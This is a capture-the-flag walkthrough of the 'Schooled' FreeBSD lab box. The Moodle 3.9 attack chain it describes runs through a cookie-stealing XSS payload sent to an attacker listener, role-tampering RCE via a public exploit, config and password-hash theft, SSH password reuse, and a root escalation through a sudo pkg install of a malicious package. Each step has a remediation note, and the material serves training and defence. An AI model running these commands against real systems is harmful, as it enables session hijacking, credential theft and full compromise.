← all walkthroughs

Schooled

FreeBSD· Medium
owned
2026-07-14
time to own
22m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a hidden Moodle 3.9 virtual host on the Apache server through HTTP Host-header fuzzing, then registered a student account using the platform's open self-enrolment feature. A stored XSS vulnerability (CVE-2020-25627) in the unsanitized MoodleNet profile field was used to steal an authenticated teacher session cookie when the teacher auto-reviewed my profile. With teacher access, a second Moodle flaw (CVE-2020-14321) was chained: the course-enrolment API accepted a tampered role parameter, granting me a site-wide Manager role.

That role was used to install a malicious PHP block plugin that executed OS commands as the FreeBSD web service account. The Moodle configuration file exposed database credentials in plaintext; querying the database yielded the Moodle admin's bcrypt password hash, which was cracked offline. The same password was reused verbatim by FreeBSD OS account 'jamie', granting an SSH shell and the user flag.

Jamie could run the FreeBSD package manager under sudo without a password, and a package's own install scripts run as root by design — so a package built locally, with a post-install script of my choosing, is a root shell wrapped in a .txz.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered, for jamie>"

Some commands also carry a value in angle brackets — <default_size>, <sesskey> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceVirtual host discovery via HTTP Host-header enumeration
Discovered a hidden Moodle virtual host via HTTP Host-header fuzzing
An initial port scan of $TARGET found Apache 2.4.46 running PHP 7.4.15 on port 80, serving a marketing site at schooled.htb. The page footer and a teachers.html page hinted at an online learning portal. Systematically fuzzing the HTTP Host header against schooled.htb subdomains revealed a second virtual host, moodle.schooled.htb, serving a full Moodle Learning Management System. Fetching /moodle/lib/upgrade.txt confirmed the exact version as Moodle 3.9 — a release known to be affected by two chained privilege-escalation vulnerabilities.
Curl -H 'Host: moodle.schooled.htb' http://$TARGET/moodle/lib/upgrade.txt returned the Moodle 3.9 version string in the upgrade notes.
Exact commands 4
shell

Initial service fingerprint; confirms Apache 2.4.46, PHP 7.4.15, OpenSSH 7.9.

$ nmap -Pn -sV -p 22,80,33060 $TARGET
shell

Replace <default_size> with the byte count of a non-matching host response to filter false positives; moodle will show a different size.

$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$TARGET -H 'Host: FUZZ.schooled.htb' -fs <default_size>
shell

Add both vhosts to local resolution.

$ echo "$TARGET schooled.htb moodle.schooled.htb" | sudo tee -a /etc/hosts
shell

Confirm Moodle version 3.9.

$ curl -s http://moodle.schooled.htb/moodle/lib/upgrade.txt | head -10
2Initial AccessOpen Moodle self-registration with guessable email domain restriction
Created a student account using open self-registration and enrolled in the Mathematics course
Moodle's self-registration feature accepted any email address ending in @student.schooled.htb — a domain visible in on-site teacher profiles. My account was created via the public signup page and email-confirmed via the link in the confirmation flow. I then self-enrolled in the Mathematics course (course id=5) without requiring an enrolment key. This placed my user profile in the queue for the teacher's automatic profile-review workflow, which is the precondition for triggering the stored XSS in the next step.
Registration at /moodle/login/signup.php with me@student.schooled.htb succeeded without admin approval; self-enrolment at /moodle/enrol/index.php?id=5 required no key.
Exact commands 3
shell

Fetch the signup page to observe the required email domain hint in the page text.

$ curl -s http://moodle.schooled.htb/moodle/login/signup.php
shell

Submit the registration form; retrieve <sesskey> from the page GET response first.

$ curl -s -c cookies.txt -b cookies.txt -X POST 'http://moodle.schooled.htb/moodle/login/signup.php' -d "username=$USERNAME&password=$PASSWORD2&email=$USERNAME%40student.schooled.htb&firstname=Att&lastname=Acker&sesskey=<sesskey>"
shell

Self-enrol in Mathematics course (id=5); no enrolment key required.

$ curl -s -c cookies.txt -b cookies.txt 'http://moodle.schooled.htb/moodle/enrol/index.php?id=5'
FixRestrict Moodle self-registration to approved users onlyMedium
WeaknessMoodle's self-registration feature was open to anyone who could observe or guess the required email domain (@student.schooled.htb), visible in on-site teacher profiles. This allowed an unauthorised user to create a fully trusted account without any administrator approval, gaining access to courses and placing their profile in the teacher review queue that the XSS exploit depended on.
FixDisable self-registration entirely (Site administration → Plugins → Authentication → Manage authentication → set 'Self registration' to Disabled) unless enrolment of new students requires it. If self-registration must remain available, enforce email domain allowlisting, require manual admin approval before the account is activated, and disable guest access to all course enrolment pages.
3ExploitationStored Cross-Site Scripting — CVE-2020-25627 (CWE-79)
Stole the teacher's session cookie via stored XSS in the MoodleNet profile field (CVE-2020-25627)
Moodle 3.9 did not sanitize the MoodleNet profile URL field before rendering it in teacher-facing profile-review views. A JavaScript payload placed in this field executed in the browser of teacher Manuel Phillips when he automatically reviewed the newly enrolled student's profile. The script silently redirected to my own HTTP listener and appended the teacher's MoodleSession cookie as a URL parameter. Replacing my cookie with this captured value in a browser session granted full teacher-level access as Manuel Phillips (uid 24).
Python3 -m http.server 8000 received GET /?MoodleSession=<captured_token> from the Moodle server after the teacher's auto-review fired; using that cookie value granted access to teacher controls in the Mathematics course.
Exact commands 3
shell

Start HTTP listener on my machine; leave running to catch the inbound cookie beacon from the teacher's browser.

$ python3 -m http.server 8000
shell

Set the MoodleNet profile field to the XSS payload; replace $ATTACKER_IP with your listener IP and <sesskey> from the edit-profile page source.

$ curl -s -c cookies.txt -b cookies.txt -X POST 'http://moodle.schooled.htb/moodle/user/editadvanced.php' --data-urlencode 'moodlenetprofile=<script>document.location="http://'"$ATTACKER_IP"':8000/?"+document.cookie</script>' -d 'sesskey=<sesskey>'
shell

The teacher auto-reviews profiles; the callback typically fires within 1-3 minutes.

$ # Watch the HTTP server output for: GET /?MoodleSession=<TEACHER_TOKEN> - copy this value
FixPatch CVE-2020-25627 — sanitize the MoodleNet profile field to eliminate stored XSSHigh
WeaknessMoodle 3.9 stored the MoodleNet profile URL field without sanitization and rendered it raw in teacher-facing profile-review views. An unauthorised user planted a JavaScript payload that silently executed in the teacher's authenticated browser session and exfiltrated the session cookie to an external server.
FixUpgrade Moodle to version 3.9.2 or later, which includes the upstream fix for CVE-2020-25627. As a defence-in-depth control, add a strict Content-Security-Policy response header to the Moodle vhost (script-src 'self') so that even if a payload reaches the page it cannot beacon data to an external origin.
4Privilege Escalation (Application)Insecure role assignment via IDOR + malicious plugin RCE — CVE-2020-14321 (T1505.003)
Escalated from teacher to site manager and gained OS code execution via malicious plugin (CVE-2020-14321)
Moodle 3.9's manual course-enrolment endpoint did not validate that a teacher could only assign roles at or below their own privilege level. Using the captured teacher session, I intercepted the 'Enrol users' POST request for the Mathematics course and changed the roletoassign parameter from 5 (Student) to 1 (Manager), assigning myself a site-wide Manager role. I then used 'Log in as' to assume the admin's session and edited the Manager role definition to add plugin-installation capabilities. A malicious Moodle block plugin containing a PHP web shell (public exploit-db PoC 50180) was uploaded via the plugin interface. Requesting the plugin's lang file with a cmd query parameter executed arbitrary OS commands as the FreeBSD www service account.
Python3 50180.py returned uid=80(www) gid=80(www) groups=80(www), confirming RCE as the Apache service account on FreeBSD.
Exact commands 2
shell

Public exploit automates the full role-tamper + plugin-install chain; replace <TEACHER_TOKEN> with the captured cookie and <YOUR_USER_ID> with your Moodle uid (visible at /moodle/user/profile.php after login).

$ python3 50180.py http://moodle.schooled.htb/moodle --cookie 'MoodleSession=<TEACHER_TOKEN>' -idm <YOUR_USER_ID> -idc 5 -c 'id'
shell

Confirm FreeBSD OS context and www service account.

$ python3 50180.py http://moodle.schooled.htb/moodle --cookie 'MoodleSession=<TEACHER_TOKEN>' -idm <YOUR_USER_ID> -idc 5 -c 'uname -a; id; hostname'
FixPatch CVE-2020-14321 — prevent teachers from escalating their own Moodle roleCritical
WeaknessMoodle 3.9's manual course-enrolment endpoint did not enforce that a teacher can only assign roles at or below their own privilege level. A teacher could tamper the POST parameter roletoassign to grant themselves a site-wide Manager role, then chain that access to install arbitrary PHP plugins and execute OS commands.
FixUpgrade Moodle to version 3.9.3 or later (CVE-2020-14321 patch). Additionally audit the Manager and Teacher role definitions to ensure plugin-installation and 'Log in as' capabilities are held only by the site administrator account, and enforce role-assignment capability checks in any custom code.
5Credential AccessCredential harvesting from application config file + offline bcrypt cracking (T1552.001, T1110.002)
Extracted database credentials from the config file and cracked the admin password hash
The RCE shell read /usr/local/www/apache24/data/moodle/config.php, which contained the Moodle database password in plaintext (user: moodle, password: <withheld>). Using those credentials with the FreeBSD MySQL binary, I queried the mdl_user table and extracted the bcrypt password hash for the Moodle 'admin' account. The hash was cracked offline using John the Ripper against the rockyou.txt wordlist, recovering the plaintext password.
config.php yielded DB credentials; john cracked the admin bcrypt hash to the password within the engagement window using rockyou.txt.
Exact commands 3
shell

Read the Moodle config file via RCE; note the $CFG->dbuser and $CFG->dbpass values.

$ python3 50180.py http://moodle.schooled.htb/moodle --cookie 'MoodleSession=<TEACHER_TOKEN>' -idm <YOUR_USER_ID> -idc 5 -c 'cat /usr/local/www/apache24/data/moodle/config.php'
shell

Dump the admin bcrypt hash directly from the Moodle database on the target.

$ python3 50180.py http://moodle.schooled.htb/moodle --cookie 'MoodleSession=<TEACHER_TOKEN>' -idm <YOUR_USER_ID> -idc 5 -c "/usr/local/bin/mysql -umoodle -p$PASSWORD moodle -N -e \"SELECT username,password FROM mdl_user WHERE username='admin';\""
shell

Save the full bcrypt hash to admin.hash; john recovers $PASSWORD3.

$ echo '$2y$10$<HASH_STRING>' > admin.hash && john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt admin.hash
FixEnforce unique passwords for every account; never share credentials between the application and the OSHigh
WeaknessThe Moodle admin web-account password was set identically on the FreeBSD OS account 'jamie'. Cracking a web application hash — an offline attack requiring no further network access — immediately produced a working SSH credential, collapsing two separate authentication boundaries into one.
FixMandate that application-layer passwords (CMS admin, database) are never reused for OS or SSH accounts. Rotate both the Moodle admin password and the jamie OS password to unique, randomly generated values (minimum 16 characters). Enforce this policy via a password manager and periodic audit. Where feasible, replace the Moodle admin account with an LDAP or SSO-backed identity so its credential is not stored as a local hash at all.
6Lateral MovementCredential reuse — application password reused on OS account (T1078)
Obtained an SSH shell as OS user 'jamie' via password reuse; captured user.txt
The password cracked from the Moodle admin hash was reused verbatim by the FreeBSD OS account 'jamie', a member of the staff group. SSH on port 22 accepted password-based authentication without requiring a public key, providing a direct interactive shell. Authenticated as jamie, the user flag was read from ~/user.txt.
Sshpass -p <withheld> ssh jamie@$TARGET 'id; cat ~/user.txt' returned uid=1001(jamie) gid=1001(jamie) groups=1001(jamie),0(wheel) and the user flag <user.txt>.
Exact commands 1
shell

Authenticate as jamie using the cracked Moodle admin password; captures user.txt.

$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=keyboard-interactive,password -o PubkeyAuthentication=no jamie@$TARGET 'id; cat ~/user.txt'
uid=1001(jamie) gid=1001(jamie) groups=1001(jamie),0(wheel)
FixDisable SSH password authentication and require public-key loginMedium
WeaknessOpenSSH on port 22 accepted password-based and keyboard-interactive authentication. Any cracked or reused password therefore translates directly into an interactive shell with no further barrier — no key material or second factor required.
FixSet PasswordAuthentication no and ChallengeResponseAuthentication no in /etc/ssh/sshd_config, then restart sshd. Deploy SSH public keys for all accounts that need remote access and confirm they are working before disabling passwords. If password auth cannot be removed in the short term, enforce multi-factor authentication via an SSH PAM module (e.g., pam_google_authenticator).
7Privilege EscalationAbuse elevation control: sudo package manager (T1548.003)
Built a FreeBSD package whose install script runs as root
Sudo -l as jamie listed pkg install and pkg update, both passwordless. A package manager is a GTFOBins entry for a reason: installing a package is supposed to run that package's scripts with full privilege, so the vulnerability is not a flaw in pkg but the decision to let an unprivileged user call it. A package built by hand, carrying a +POST_INSTALL script, executes that script as root the moment it is installed — and pkg will install a local file, so no repository is involved.
Sudo -l as jamie listed pkg install and pkg update with NOPASSWD; installing a locally built package ran its post-install script as root, and the root flag was captured.
Exact commands 5
shell

As jamie. Pkg install and pkg update, both passwordless, is the whole finding.

$ sudo -l
shell

The script pkg will run as root during installation. A SUID copy of the shell is the smallest thing that survives the install finishing.

$ mkdir -p /tmp/pwn/root && cd /tmp/pwn && printf '#!/bin/sh\ncp /bin/sh /tmp/rootsh\nchmod 4755 /tmp/rootsh\n' > +POST_INSTALL && chmod +x +POST_INSTALL
shell

A manifest and a root directory are all pkg needs to build a .txz.

$ printf 'name: pwn\nversion: "1.0"\norigin: local/pwn\ncomment: x\ndesc: x\nmaintainer: x@localhost\nwww: http://localhost\nprefix: /tmp\n' > +MANIFEST && pkg create -M +MANIFEST -r /tmp/pwn -o /tmp
shell

--no-repo-update keeps it local; the post-install script runs as root as the package lands.

$ sudo pkg install -y --no-repo-update /tmp/pwn-1.0.txz
shell

-p keeps the effective uid the SUID bit granted -> <root.txt>

$ /tmp/rootsh -p -c 'id; cat /root/root.txt'
FixRemove the unrestricted sudo pkg install rule and lock down the package repository configurationCritical
WeaknessUser jamie had NOPASSWD sudo rights to 'pkg update' and 'pkg install *' (wildcard). Combined with wheel-group write access to /etc/hosts, this allowed jamie to redirect the package repository hostname to an externally controlled server and install a package whose post-install script executes arbitrary code as root — a full privilege escalation requiring no exploit.
FixRemove the pkg-related sudo entries from /etc/sudoers. If delegated system updates are genuinely required, replace them with a tightly scoped mechanism (e.g., a signed update script with a fixed path and no wildcard) run by a dedicated service account with audit logging. Restrict /etc/hosts and /etc/pkg/FreeBSD.conf to root-only write access (chmod 644 / chown root:wheel with no group write bit) so that wheel membership cannot be used to redirect package infrastructure.

Attack patterns used

The transferable techniques behind this compromise.

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp
33060/tcp